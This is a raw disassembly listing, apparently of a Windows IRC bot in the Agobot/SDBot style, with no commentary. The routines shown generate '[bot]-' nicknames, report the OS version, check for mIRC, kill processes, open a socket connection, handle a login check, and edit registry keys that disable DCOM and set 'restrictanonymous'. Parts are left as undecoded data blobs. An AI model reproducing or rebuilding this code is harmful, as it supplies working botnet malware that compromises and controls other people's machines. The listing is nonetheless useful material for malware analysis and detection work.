loc_4153FA:				; CODE XREF: sub_41533B+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_14]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 25D0000h
		nop
		pop	edi
		pop	esi
sub_41533B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415419	proc near		; CODE XREF: sub_40EE72+4B0Ap
					; sub_416E97+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 26E04FBh
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_41544B
		push	0
		push	esi
		nop
		call	near ptr 2790AB4h
		test	eax, eax
		jnz	short loc_41544B
		push	esi
		xor	edi, edi
		nop
		call	near ptr 25F1A27h

loc_41544B:				; CODE XREF: sub_415419+1Aj
					; sub_415419+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415419	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415450	proc near		; CODE XREF: sub_4030D1+Ap
					; ___:0040369Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_41730C
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4246A0
		call	sub_417DC4
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_415450	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_4450CC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_43F650
		test	eax, eax
		jnz	short loc_415504
		push	dword ptr [esi]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 25D0000h
		nop

loc_415504:				; CODE XREF: ___:004154EAj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_415685
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_43F5C4
		test	eax, eax
		jz	short loc_41557D
		call	dword_43F5FC
		push	eax
		push	offset dword_43892C
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 0Ch
		push	edi
		call	near ptr 25D0000h
		nop

loc_41557D:				; CODE XREF: ___:00415558j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, edi
		jnz	short loc_4155A7
		push	dword ptr [ebp-18h]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4172B0
		jmp	short loc_4155B5
; ---------------------------------------------------------------------------

loc_4155A7:				; CODE XREF: ___:0041558Dj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_4179C0

loc_4155B5:				; CODE XREF: ___:004155A5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43C80C
		push	dword ptr [esi]
		call	dword_43F6B8
		cmp	dword_489DDC, edi
		jnz	short loc_415617
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_4156DF
		add	esp, 10h
		test	eax, eax
		jnz	short loc_415617
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 25D0000h
		nop

loc_415617:				; CODE XREF: ___:004155CCj
					; ___:004155EDj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_4388E0
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_4165C6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41565E
		nop
		call	near ptr 2610941h
		push	eax
		push	offset dword_4388A4
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 25D0000h

loc_41565E:				; CODE XREF: ___:00415639j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset dword_43886C
		call	sub_40BFE1
		push	dword ptr [ebp+8]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 25D0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415685	proc near		; CODE XREF: ___:0041551Ap
					; ___:00415527p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 1
		jnz	short loc_4156D5
		mov	esi, [ebp+arg_4]

loc_4156A3:				; CODE XREF: sub_415685+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4156CA
		test	al, al
		jz	short loc_4156D9
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 1
		jz	short loc_4156A3
		jmp	short loc_4156D5
; ---------------------------------------------------------------------------

loc_4156CA:				; CODE XREF: sub_415685+27j
		push	offset dword_438968
		call	sub_40BFE1
		pop	ecx

loc_4156D5:				; CODE XREF: sub_415685+19j
					; sub_415685+43j
		xor	eax, eax
		jmp	short loc_4156DC
; ---------------------------------------------------------------------------

loc_4156D9:				; CODE XREF: sub_415685+2Bj
		push	1
		pop	eax

loc_4156DC:				; CODE XREF: sub_415685+52j
		pop	esi
		leave
		retn
sub_415685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4156DF	proc near		; CODE XREF: ___:004155E3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41570A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4389A0
		call	sub_40BFE1
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41570A:				; CODE XREF: sub_4156DF+11j
		push	1
		pop	eax
		retn
sub_4156DF	endp

; ---------------------------------------------------------------------------
word_41570E	dw 8B55h		; DATA XREF: sub_40EE72+5623o
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	43F5E0h, 0C63BF633h, 68501D74h
		dd 438B64h, 0FF688CE8h,	0B475FFFFh, 191BE8h, 0CC48300h
		dd 99E89057h, 57021BA8h, 41598C68h, 0A88EE800h,	85900238h
		dd 902975C0h, 1FB1C4E8h, 14685002h, 0E800438Bh,	0FFFF6859h
		dd 15FF5959h, 43F5C8h, 0E8B475FFh, 18E0h, 0E8905759h, 21BA860h
		dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h
		dd 75FF0002h, 6815FFB0h, 6A0043F6h, 26A5706h, 0E2458966h
		dd 0FFE47589h, 43F6E815h, 83D88B00h, 840FFFFBh,	13Bh, 6AB4458Bh
		dd 34C06910h, 89000002h, 4450CC98h, 0E0458D00h,	15FF5350h
		dd 43F694h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43F690h
		dd 850FC085h, 103h, 438AC868h, 0F045C700h, 0Ch,	89F47589h
		dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h
		dd 0FF5350CCh, 43F6FC15h, 83F88B00h, 840FFFFFh,	0CAh, 8D0875FFh
		dd 6A500845h, 0FFFF6808h, 0FF570000h, 43F64815h, 0FFF88300h
		dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0F6F415FFh
		dd 8D500043h, 0FFFBEC85h, 8A7468FFh, 0E8500043h, 1A20h
		dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh
		dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh
		dd 888924C4h, 4450C4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 41548068h, 0F0458D00h, 0E8905056h, 222B259h,	69B84D8Bh
		dd 234C9h, 89C63B00h, 4450D481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 0B4E8326Ah, 90021BB3h, 0E890EDEBh, 21FB039h
		dd 8A286850h, 0CEE80043h, 59FFFF66h, 8B03EB59h,	15FF087Dh
		dd 43F5FCh, 0EC858D50h,	68FFFFFBh, 4389E4h, 197EE850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh
		dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh,	0F70015FFh
		dd 0FF530043h, 43F70015h, 0C815FF00h, 0FF0043F5h, 0F5E8B475h
		dd 59000016h, 75E89056h, 5B021BA6h, 4439C033h, 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_415996	proc near		; CODE XREF: sub_415D01+49p
					; DATA XREF: ___:off_438BB0o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 25D05AFh
		push	eax
		call	sub_417302
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aBot ; "[bot]-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_4159EF

loc_4159C9:				; CODE XREF: sub_415996+57j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_4159C9

loc_4159EF:				; CODE XREF: sub_415996+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159F4	proc near		; CODE XREF: sub_40EE72+3E81p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 25D05AFh
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_41730C
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42F5C8
		test	esi, esi
		jle	short loc_415A37

loc_415A21:				; CODE XREF: sub_4159F4+41j
		call	sub_41730C
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_415A21

loc_415A37:				; CODE XREF: sub_4159F4+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4159F4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	near ptr 25D05AFh
		nop
		push	eax
		call	sub_417302
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_438C0C
		push	eax
		push	esi
		call	near ptr 2780000h
		nop
		movsx	eax, byte_438C0C
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_415A7D:				; CODE XREF: ___:00415A88j
		cmp	eax, ecx
		jnz	short loc_415A84
		mov	[ebp-4], edx

loc_415A84:				; CODE XREF: ___:00415A7Fj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_415A7D
		push	61h
		pop	ecx

loc_415A8D:				; CODE XREF: ___:00415A98j
		cmp	eax, ecx
		jnz	short loc_415A94
		mov	[ebp-4], edx

loc_415A94:				; CODE XREF: ___:00415A8Fj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_415A8D
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_42F5C8, esi
		jle	short loc_415AD9

loc_415AB3:				; CODE XREF: ___:00415AD7j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415AB3

loc_415AD9:				; CODE XREF: ___:00415AB1j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 25D05AFh
		push	eax
		call	sub_417302
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 27A0490h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_438C10
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415B4E

loc_415B28:				; CODE XREF: ___:00415B4Cj
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415B28

loc_415B4E:				; CODE XREF: ___:00415B26j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43C80C
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 27515ADh
		nop
		call	near ptr 25D05AFh
		push	eax
		call	sub_417302
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_415BD8
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BB8
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_415BA8
		mov	esi, offset a95	; "95"

loc_415BA8:				; CODE XREF: ___:00415BA1j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_415C14
		mov	esi, offset aNt	; "NT"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BB8:				; CODE XREF: ___:00415B98j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_415BC8
		mov	esi, offset a98	; "98"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BC8:				; CODE XREF: ___:00415BBFj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_415C0F
		mov	esi, offset aMe	; "ME"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BD8:				; CODE XREF: ___:00415B8Fj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_415C0F
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_415BF1
		mov	esi, offset a2k	; "2K"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415BF1:				; CODE XREF: ___:00415BE8j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_415C01
		mov	esi, offset aXp	; "XP"
		jmp	short loc_415C14
; ---------------------------------------------------------------------------

loc_415C01:				; CODE XREF: ___:00415BF8j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_438C1C
		jz	short loc_415C14

loc_415C0F:				; CODE XREF: ___:00415BCFj
					; ___:00415BDFj
		mov	esi, offset dword_42DDDC

loc_415C14:				; CODE XREF: ___:00415BAFj
					; ___:00415BB6j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_438C14
		push	1Ch
		push	edi
		call	sub_41782A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42F5C8, esi
		jle	short loc_415C58

loc_415C32:				; CODE XREF: ___:00415C56j
		call	sub_41730C
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_438C04
		push	1Ch
		push	edi
		call	sub_41782A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42F5C8
		jl	short loc_415C32

loc_415C58:				; CODE XREF: ___:00415C30j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C5E	proc near		; CODE XREF: sub_415D01+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 25D05AFh
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_415CAD
		call	dword_43F674
		test	eax, eax
		mov	eax, offset dword_438C28
		jnz	short loc_415C96
		mov	eax, offset byte_43C80C

loc_415C96:				; CODE XREF: sub_415C5E+31j
		push	eax
		push	esi
		push	offset dword_438C20
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_415CCD
; ---------------------------------------------------------------------------

loc_415CAD:				; CODE XREF: sub_415C5E+22j
		call	dword_43F674
		test	eax, eax
		mov	eax, offset dword_438C28
		jnz	short loc_415CC1
		mov	eax, offset byte_43C80C

loc_415CC1:				; CODE XREF: sub_415C5E+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_415CCD:				; CODE XREF: sub_415C5E+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_415CFC
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418DE0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 18h

loc_415CFC:				; CODE XREF: sub_415C5E+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_415C5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D01	proc near		; CODE XREF: sub_40EB92+7Fp
					; sub_40ECFA+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_438BAC

loc_415D0D:				; CODE XREF: sub_415D01+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_415D28
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4176D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415D32
; ---------------------------------------------------------------------------

loc_415D28:				; CODE XREF: sub_415D01+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_415D32:				; CODE XREF: sub_415D01+25j
		test	eax, eax
		jnz	short loc_415D44
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_438C10
		jb	short loc_415D0D
		jmp	short loc_415D52
; ---------------------------------------------------------------------------

loc_415D44:				; CODE XREF: sub_415D01+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_438BB0[eax*4]
		pop	ecx

loc_415D52:				; CODE XREF: sub_415D01+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_415D65
		push	[ebp+arg_0]
		call	sub_415C5E
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_415D65:				; CODE XREF: sub_415D01+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_415D01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D6A	proc near

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_43F668
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415E28
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_4450CC[ecx], esi
		jz	short loc_415E28
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_43F6F4
		push	eax
		mov	edi, offset dword_489DE4
		push	offset unk_438C2C
		push	edi
		call	sub_4172B0
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40D679
		push	edi
		call	sub_40BF6D
		add	esp, 28h

loc_415E28:				; CODE XREF: sub_415D6A+5Dj
					; sub_415D6A+7Ej
		push	esi
		call	dword_43F700
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_415D6A	endp

; ---------------------------------------------------------------------------
byte_415E37	db 55h			; DATA XREF: sub_40EE72+35E2o
		dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh
		dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h
		dd 0D475FFFFh, 0FFE075FFh, 43F6F415h, 858D5000h, 0FFFFFED0h
		dd 438C6468h, 2DE85000h, 8D000014h, 0FFFED085h,	1FF68FFh
		dd 8B500000h, 0C069DC45h, 234h,	444EC005h, 6DE85000h, 8300002Dh
		dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h,	5700415Dh
		dd 76E89057h, 3B0222ACh, 0FC4589C7h, 7D390B74h,	6A0675F4h
		dd 0EBD6FF32h, 0FC75FFF5h, 0BB4DE890h, 0B3FF021Dh, 88h
		dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h
		dd 83000014h, 75FF0CC4h, 9C15FF08h, 400043F5h, 8458950h
		dd 0F66415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h
		dd 1470h, 0E90CC483h, 0FFFFFF3Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F28	proc near		; DATA XREF: sub_40EE72+5F4Fo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_415F6F
		call	sub_415F88
		jmp	short loc_415F74
; ---------------------------------------------------------------------------

loc_415F6F:				; CODE XREF: sub_415F28+3Ej
		call	sub_4162AC

loc_415F74:				; CODE XREF: sub_415F28+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_417078
		pop	ecx
		push	0
		call	near ptr 25D0000h
		nop
sub_415F28	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F88	proc near		; CODE XREF: sub_415F28+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43F738, edi
		jnz	loc_4160BA
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_416013
		mov	ax, word_439014
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43F68C
		test	eax, eax
		jz	short loc_415FF5
		push	offset unk_438FD4
		jmp	short loc_415FFA
; ---------------------------------------------------------------------------

loc_415FF5:				; CODE XREF: sub_415F88+64j
		push	offset dword_438FA8

loc_415FFA:				; CODE XREF: sub_415F88+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_416026
; ---------------------------------------------------------------------------

loc_416013:				; CODE XREF: sub_415F88+36j
		lea	eax, [ebp+var_214]
		push	offset unk_438F68
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_416026:				; CODE XREF: sub_415F88+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_416045
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416045:				; CODE XREF: sub_415F88+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_4160B3
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43F68C
		test	eax, eax
		jz	short loc_416095
		push	offset unk_438F08
		jmp	short loc_41609A
; ---------------------------------------------------------------------------

loc_416095:				; CODE XREF: sub_415F88+104j
		push	offset unk_438EC4

loc_41609A:				; CODE XREF: sub_415F88+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_4160CD
; ---------------------------------------------------------------------------

loc_4160B3:				; CODE XREF: sub_415F88+E2j
		push	offset unk_438E78
		jmp	short loc_4160BF
; ---------------------------------------------------------------------------

loc_4160BA:				; CODE XREF: sub_415F88+13j
		push	offset unk_438E38

loc_4160BF:				; CODE XREF: sub_415F88+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4160CD:				; CODE XREF: sub_415F88+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4160EC
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

